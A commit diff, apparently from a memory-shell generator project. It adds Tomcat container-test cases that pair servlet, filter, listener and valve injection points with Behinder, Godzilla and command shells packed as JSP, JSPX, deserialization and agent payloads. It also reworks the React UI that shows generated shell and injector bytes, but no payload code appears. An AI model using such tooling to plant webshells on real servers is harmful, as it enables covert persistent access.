System.out.println(JSON.toJSONString(stringStringMap, JSONWriter.Feature.PrettyFormat));
|
||||
}
|
||||
}
|
||||
+12
@@ -42,28 +42,40 @@ public class Tomcat10ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
|
||||
+12
@@ -42,28 +42,40 @@ public class Tomcat5ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize)
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import { Button, ButtonProps } from "@/components/ui/button.tsx";
|
||||
import { cn } from "@/lib/utils.ts";
|
||||
import { Check, Copy } from "lucide-react";
|
||||
import { HTMLProps, useEffect, useState } from "react";
|
||||
import { HTMLProps, ReactNode, useEffect, useState } from "react";
|
||||
import { CopyToClipboard } from "react-copy-to-clipboard";
|
||||
import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
|
||||
import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
|
||||
@@ -31,15 +30,8 @@ export function CopyButton({ value, className, src, variant = "ghost", ...props
|
||||
toast.success("复制成功", { duration: 1000 });
|
||||
}}
|
||||
>
|
||||
<Button
|
||||
size="icon"
|
||||
type="button"
|
||||
variant={variant}
|
||||
className={cn("relative z-10 h-8 w-8 text-zinc-50 hover:bg-zinc-700 hover:text-zinc-50", className)}
|
||||
{...props}
|
||||
>
|
||||
<span className="sr-only">Copy</span>
|
||||
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
|
||||
<Button variant="ghost" size="icon" type="button" className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4">
|
||||
{hasCopied ? <Check /> : <Copy />}
|
||||
</Button>
|
||||
</CopyToClipboard>
|
||||
);
|
||||
@@ -47,41 +39,57 @@ export function CopyButton({ value, className, src, variant = "ghost", ...props
|
||||
|
||||
export function CodeViewer({
|
||||
code,
|
||||
header,
|
||||
language,
|
||||
height,
|
||||
showLineNumbers = true,
|
||||
wrapLongLines = false,
|
||||
height = 500,
|
||||
}: {
|
||||
code: string;
|
||||
language: string;
|
||||
showLineNumbers?: boolean;
|
||||
wrapLongLines?: boolean;
|
||||
height?: number;
|
||||
}) {
|
||||
wrapLongLines = true,
|
||||
}: CodeViewerProps) {
|
||||
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
|
||||
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
|
||||
: undefined;
|
||||
return (
|
||||
<div className="relative overflow-hidden text-xs wrap-all">
|
||||
<CopyButton value={code} className="absolute right-4 top-2" />
|
||||
<SyntaxHighlighter
|
||||
language={language}
|
||||
style={materialDark}
|
||||
showLineNumbers={showLineNumbers}
|
||||
wrapLongLines={wrapLongLines}
|
||||
lineProps={lineProps}
|
||||
customStyle={{
|
||||
margin: 0,
|
||||
paddingRight: showLineNumbers ? 0 : 24,
|
||||
paddingLeft: showLineNumbers ? 0 : 24,
|
||||
borderRadius: "var(--radius)",
|
||||
height: height,
|
||||
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
|
||||
overflowWrap: wrapLongLines ? "normal" : "break-word",
|
||||
}}
|
||||
>
|
||||
{code}
|
||||
</SyntaxHighlighter>
|
||||
<div className="rounded-lg border">
|
||||
{header && (
|
||||
<div className="flex items-center justify-between border-b p-2">
|
||||
{header}
|
||||
<CopyButton value={code} variant="ghost" size="sm" />
|
||||
</div>
|
||||
)}
|
||||
{!header && (
|
||||
<div className="flex items-center justify-end border-b p-2">
|
||||
<CopyButton value={code} variant="ghost" size="sm" />
|
||||
</div>
|
||||
)}
|
||||
<div className="relative overflow-hidden text-xs wrap-all">
|
||||
<SyntaxHighlighter
|
||||
language={language}
|
||||
style={materialDark}
|
||||
showLineNumbers={showLineNumbers}
|
||||
wrapLongLines={wrapLongLines}
|
||||
lineProps={lineProps}
|
||||
customStyle={{
|
||||
margin: 0,
|
||||
padding: showLineNumbers ? 0 : "1em 1em",
|
||||
borderRadius: "0 0 var(--radius) var(--radius)",
|
||||
height: height,
|
||||
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
|
||||
overflowWrap: wrapLongLines ? "normal" : "break-word",
|
||||
}}
|
||||
>
|
||||
{code}
|
||||
</SyntaxHighlighter>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
interface CodeViewerProps {
|
||||
code: string;
|
||||
language: string;
|
||||
header?: ReactNode;
|
||||
height?: string | number;
|
||||
showLineNumbers?: boolean;
|
||||
wrapLongLines?: boolean;
|
||||
lineProps?: (lineNumber: number) => React.HTMLProps<HTMLElement>;
|
||||
}
|
||||
|
||||
@@ -12,19 +12,17 @@ interface CopyableFieldProps {
|
||||
}
|
||||
|
||||
export function CopyableField({ label, value, text }: CopyableFieldProps) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
const [hasCopied, setHasCopied] = useState(false);
|
||||
|
||||
const copyToClipboard = useCallback(() => {
|
||||
if (typeof value === "string") {
|
||||
navigator.clipboard.writeText(value).then(() => {
|
||||
setCopied(true);
|
||||
toast.success(`复制${label}成功`, {
|
||||
duration: 1000,
|
||||
});
|
||||
setTimeout(() => setCopied(false), 1000);
|
||||
});
|
||||
}
|
||||
}, [value, label]);
|
||||
setHasCopied(true);
|
||||
toast.success(`复制${label}成功`, {
|
||||
duration: 1000,
|
||||
});
|
||||
setTimeout(() => {
|
||||
setHasCopied(false);
|
||||
}, 1000);
|
||||
}, [label]);
|
||||
|
||||
return (
|
||||
<div className="flex items-center justify-between h-9">
|
||||
@@ -35,7 +33,7 @@ export function CopyableField({ label, value, text }: CopyableFieldProps) {
|
||||
{value && (
|
||||
<CopyToClipboard text={value as string} onCopy={copyToClipboard}>
|
||||
<Button variant="ghost" size="icon" type="button">
|
||||
{copied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
|
||||
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
|
||||
</Button>
|
||||
</CopyToClipboard>
|
||||
)}
|
||||
|
||||
@@ -15,6 +15,7 @@ import {
|
||||
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
|
||||
import { Button } from "@/components/ui/button.tsx";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select";
|
||||
import { Separator } from "@/components/ui/separator.tsx";
|
||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
|
||||
import { downloadBytes } from "@/lib/utils.ts";
|
||||
@@ -24,8 +25,9 @@ import {
|
||||
GenerateResult,
|
||||
GodzillaShellToolConfig,
|
||||
} from "@/types/shell.ts";
|
||||
import { TFunction } from "i18next";
|
||||
import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react";
|
||||
import { Fragment } from "react";
|
||||
import { Fragment, useState } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { toast } from "sonner";
|
||||
|
||||
@@ -219,14 +221,111 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) {
|
||||
);
|
||||
}
|
||||
|
||||
export function ShellResult({
|
||||
packResult,
|
||||
function MultiPackResult({
|
||||
allPackResults,
|
||||
packMethod,
|
||||
generateResult,
|
||||
}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) {
|
||||
t,
|
||||
}: {
|
||||
allPackResults: object | undefined;
|
||||
packMethod: string;
|
||||
t: TFunction;
|
||||
}) {
|
||||
const showCode = packMethod === "JSP";
|
||||
const packMethods = Object.keys(allPackResults ?? {});
|
||||
const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
|
||||
const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "");
|
||||
return (
|
||||
<Fragment>
|
||||
<CodeViewer
|
||||
code={packResult ?? ""}
|
||||
header={
|
||||
<div className="flex items-center justify-between text-xs gap-2">
|
||||
<Select
|
||||
onValueChange={(value) => {
|
||||
setSelectedMethod(value);
|
||||
setPackResult(allPackResults?.[value as keyof typeof allPackResults] ?? "");
|
||||
}}
|
||||
value={selectedMethod}
|
||||
>
|
||||
<SelectTrigger className="h-7 text-xs [&_svg]:h-4 [&_svg]:w-4">
|
||||
<span className="text-muted-foreground">{t("packageConfig.title")}: </span>
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{packMethods.map((method) => (
|
||||
<SelectItem key={method} value={method} className="text-xs">
|
||||
{method}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<span className="text-muted-foreground">({packResult?.length})</span>
|
||||
</div>
|
||||
}
|
||||
wrapLongLines={!showCode}
|
||||
showLineNumbers={showCode}
|
||||
language={showCode ? "java" : "text"}
|
||||
height={350}
|
||||
/>
|
||||
</Fragment>
|
||||
);
|
||||
}
|
||||
|
||||
function renderResultComponent(
|
||||
packResult: string | undefined,
|
||||
allPackResults: Map<string, string> | undefined,
|
||||
packMethod: string,
|
||||
t: TFunction,
|
||||
generateResult?: GenerateResult,
|
||||
) {
|
||||
const showCode = packMethod === "JSP";
|
||||
const isAgent = packMethod.startsWith("Agent");
|
||||
const isJar = packMethod === "Jar";
|
||||
if (allPackResults) {
|
||||
return <MultiPackResult allPackResults={allPackResults} packMethod={packMethod} t={t} />;
|
||||
}
|
||||
|
||||
if (isAgent) {
|
||||
return <AgentResult packResult={packResult ?? ""} generateResult={generateResult} />;
|
||||
}
|
||||
if (isJar) {
|
||||
return <JarResult packResult={packResult ?? ""} generateResult={generateResult} />;
|
||||
}
|
||||
if (!isAgent && !isJar) {
|
||||
return (
|
||||
<Fragment>
|
||||
<CodeViewer
|
||||
code={packResult ?? ""}
|
||||
header={
|
||||
<div className="flex items-center justify-between text-xs gap-2">
|
||||
<span>
|
||||
{t("packageConfig.title")}:{packMethod}
|
||||
</span>
|
||||
<span className="text-muted-foreground">({packResult?.length})</span>
|
||||
</div>
|
||||
}
|
||||
wrapLongLines={!showCode}
|
||||
showLineNumbers={showCode}
|
||||
language={showCode ? "java" : "text"}
|
||||
height={350}
|
||||
/>
|
||||
</Fragment>
|
||||
);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function ShellResult({
|
||||
packResult,
|
||||
allPackResults,
|
||||
packMethod,
|
||||
generateResult,
|
||||
}: {
|
||||
packResult: string | undefined;
|
||||
allPackResults: Map<string, string> | undefined;
|
||||
packMethod: string;
|
||||
generateResult?: GenerateResult;
|
||||
}) {
|
||||
const { t } = useTranslation();
|
||||
return (
|
||||
<Fragment>
|
||||
@@ -241,20 +340,7 @@ export function ShellResult({
|
||||
<div className="mb-4">
|
||||
<BasicInfo generateResult={generateResult} />
|
||||
</div>
|
||||
{!isAgent && !isJar && (
|
||||
<Fragment>
|
||||
<div className="flex items-center justify-end text-sm text-muted-foreground">({packResult.length})</div>
|
||||
<CodeViewer
|
||||
code={packResult}
|
||||
wrapLongLines={!showCode}
|
||||
showLineNumbers={showCode}
|
||||
language={showCode ? "java" : "text"}
|
||||
height={400}
|
||||
/>
|
||||
</Fragment>
|
||||
)}
|
||||
{isAgent && <AgentResult packResult={packResult} generateResult={generateResult} />}
|
||||
{isJar && <JarResult packResult={packResult} generateResult={generateResult} />}
|
||||
{renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)}
|
||||
</TabsContent>
|
||||
<TabsContent value="shell" className="mt-4">
|
||||
<Alert>
|
||||
@@ -281,7 +367,9 @@ export function ShellResult({
|
||||
</div>
|
||||
<CodeViewer
|
||||
showLineNumbers={false}
|
||||
header={<div className="text-xs">{generateResult?.shellClassName}</div>}
|
||||
wrapLongLines={true}
|
||||
height={600}
|
||||
code={generateResult?.shellBytesBase64Str ?? ""}
|
||||
language="text"
|
||||
/>
|
||||
@@ -312,6 +400,8 @@ export function ShellResult({
|
||||
<CodeViewer
|
||||
showLineNumbers={false}
|
||||
wrapLongLines={true}
|
||||
header={<div className="text-xs">{generateResult?.injectorClassName}</div>}
|
||||
height={600}
|
||||
code={generateResult?.injectorBytesBase64Str ?? ""}
|
||||
language="text"
|
||||
/>
|
||||
|
||||
@@ -60,7 +60,7 @@ export const resources = {
|
||||
AgentJar: "AgentJar",
|
||||
Deserialize: "Deserialize(Only CB4, 1.9.x)",
|
||||
ScriptEngine: "ScriptEngine",
|
||||
XxlJob: "XXL-JOB Executor"
|
||||
XxlJob: "XXL-JOB Executor",
|
||||
},
|
||||
},
|
||||
tips: {
|
||||
|
||||
@@ -53,7 +53,8 @@ function IndexComponent() {
|
||||
},
|
||||
});
|
||||
|
||||
const [packResult, setPackResult] = useState<string>("");
|
||||
const [packResult, setPackResult] = useState<string | undefined>();
|
||||
const [allPackResults, setAllPackResults] = useState<Map<string, string> | undefined>();
|
||||
const [generateResult, setGenerateResult] = useState<GenerateResult>();
|
||||
const [packMethod, setPackMethod] = useState<string>("");
|
||||
const [isActionPending, startTransition] = useTransition();
|
||||
@@ -98,6 +99,7 @@ function IndexComponent() {
|
||||
if (response.ok) {
|
||||
const json: GenerateResponse = await response.json();
|
||||
setPackResult(json.packResult);
|
||||
setAllPackResults(json.allPackResults);
|
||||
setGenerateResult(json.generateResult);
|
||||
setPackMethod(values.packingMethod);
|
||||
toast.success(t("success.generated"));
|
||||
@@ -124,7 +126,12 @@ function IndexComponent() {
|
||||
</Button>
|
||||
</div>
|
||||
<div className="w-full xl:w-1/2 space-y-4">
|
||||
<ShellResult packMethod={packMethod} generateResult={generateResult} packResult={packResult} />
|
||||
<ShellResult
|
||||
packMethod={packMethod}
|
||||
generateResult={generateResult}
|
||||
packResult={packResult}
|
||||
allPackResults={allPackResults}
|
||||
/>
|
||||
</div>
|
||||
</form>
|
||||
</Form>
|
||||
|
||||
@@ -61,8 +61,9 @@ export interface MainConfig {
|
||||
export type PackerConfig = Array<string>;
|
||||
|
||||
export interface GenerateResponse {
|
||||
packResult: string;
|
||||
generateResult: GenerateResult;
|
||||
packResult?: string;
|
||||
allPackResults?: Map<string, string>;
|
||||
}
|
||||
|
||||
export interface APIErrorResponse {
|
||||
|
||||
Reference in New Issue
Block a user